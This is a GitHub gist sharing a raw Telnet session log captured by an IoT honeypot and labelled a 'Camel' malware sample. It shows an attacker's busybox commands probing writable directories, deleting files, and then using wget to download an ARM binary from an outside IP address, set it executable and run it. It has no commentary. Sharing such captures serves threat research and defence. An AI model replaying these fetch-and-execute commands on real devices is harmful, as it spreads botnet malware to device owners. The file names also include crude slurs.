Skip to content

Instantly share code, notes, and snippets.

@odolezal

odolezal/Camel_malware_sample_1

Created October 26, 2019 07:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save odolezal/965c33916536e92fe4a6f5e1fe5f0678 to your computer and use it in GitHub Desktop.
Save odolezal/965c33916536e92fe4a6f5e1fe5f0678 to your computer and use it in GitHub Desktop.
Download ZIP
Catched by Telnet-Iot-Honeypot
Raw
Camel_malware_sample_1
enable
shell
sh
/bin/busybox LOLKEK
/bin/busybox ps; /bin/busybox LOLKEK
/bin/busybox cat /proc/mounts; /bin/busybox LOLKEK
/bin/busybox echo -e '\x66\x75\x63\x6b/proc' > /proc/.nippon; /bin/busybox cat /proc/.nippon; /bin/busybox rm /proc/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/sys' > /sys/.nippon; /bin/busybox cat /sys/.nippon; /bin/busybox rm /sys/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/tmp' > /tmp/.nippon; /bin/busybox cat /tmp/.nippon; /bin/busybox rm /tmp/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/overlay' > /overlay/.nippon; /bin/busybox cat /overlay/.nippon; /bin/busybox rm /overlay/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/dev/pts' > /dev/pts/.nippon; /bin/busybox cat /dev/pts/.nippon; /bin/busybox rm /dev/pts/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/sys/kernel/debug' > /sys/kernel/debug/.nippon; /bin/busybox cat /sys/kernel/debug/.nippon; /bin/busybox rm /sys/kernel/debug/.nippon
/bin/busybox echo -e '\x66\x75\x63\x6b/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
/bin/busybox LOLKEK
rm /proc/.t; rm /proc/.sh; rm /proc/.human
rm /sys/.t; rm /sys/.sh; rm /sys/.human
rm /tmp/.t; rm /tmp/.sh; rm /tmp/.human
rm /overlay/.t; rm /overlay/.sh; rm /overlay/.human
rm # fuck/dev/.t; rm # fuck/dev/.sh; rm # fuck/dev/.human
rm /dev/.t; rm /dev/.sh; rm /dev/.human
rm /dev/pts/.t; rm /dev/pts/.sh; rm /dev/pts/.human
rm /sys/kernel/debug/.t; rm /sys/kernel/debug/.sh; rm /sys/kernel/debug/.human
rm /dev/.t; rm /dev/.sh; rm /dev/.human
cd /proc/
/bin/busybox cp /bin/echo .gaynihhga; >.gaynihhga; /bin/busybox chmod 777 .gaynihhga; /bin/busybox LOLKEK
/bin/busybox cat /bin/echo
/bin/busybox LOLKEK
cat /proc/cpuinfo; /bin/busybox LOLKEK
/bin/busybox wget; /bin/busybox tftp; /bin/busybox LOLKEK
/bin/busybox wget http://212.237.11.112/arm6 -O .gaynihhga;/bin/busybox chmod 777 .gaynihhga;/bin/busybox LOLKEK
./.gaynihhga telnet.arm6;/bin/busybox KEKLOL
/bin/busybox wget; /bin/busybox tftp; /bin/busybox LOLKEK
/bin/busybox wget http://212.237.11.112/arm6 -O .gaynihhga;/bin/busybox chmod 777 .gaynihhga;/bin/busybox LOLKEK
./.gaynihhga telnet.arm6;/bin/busybox KEKLOL
rm -rf .sadkl; > .gaynihhga; /bin/busybox LOLKEK
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment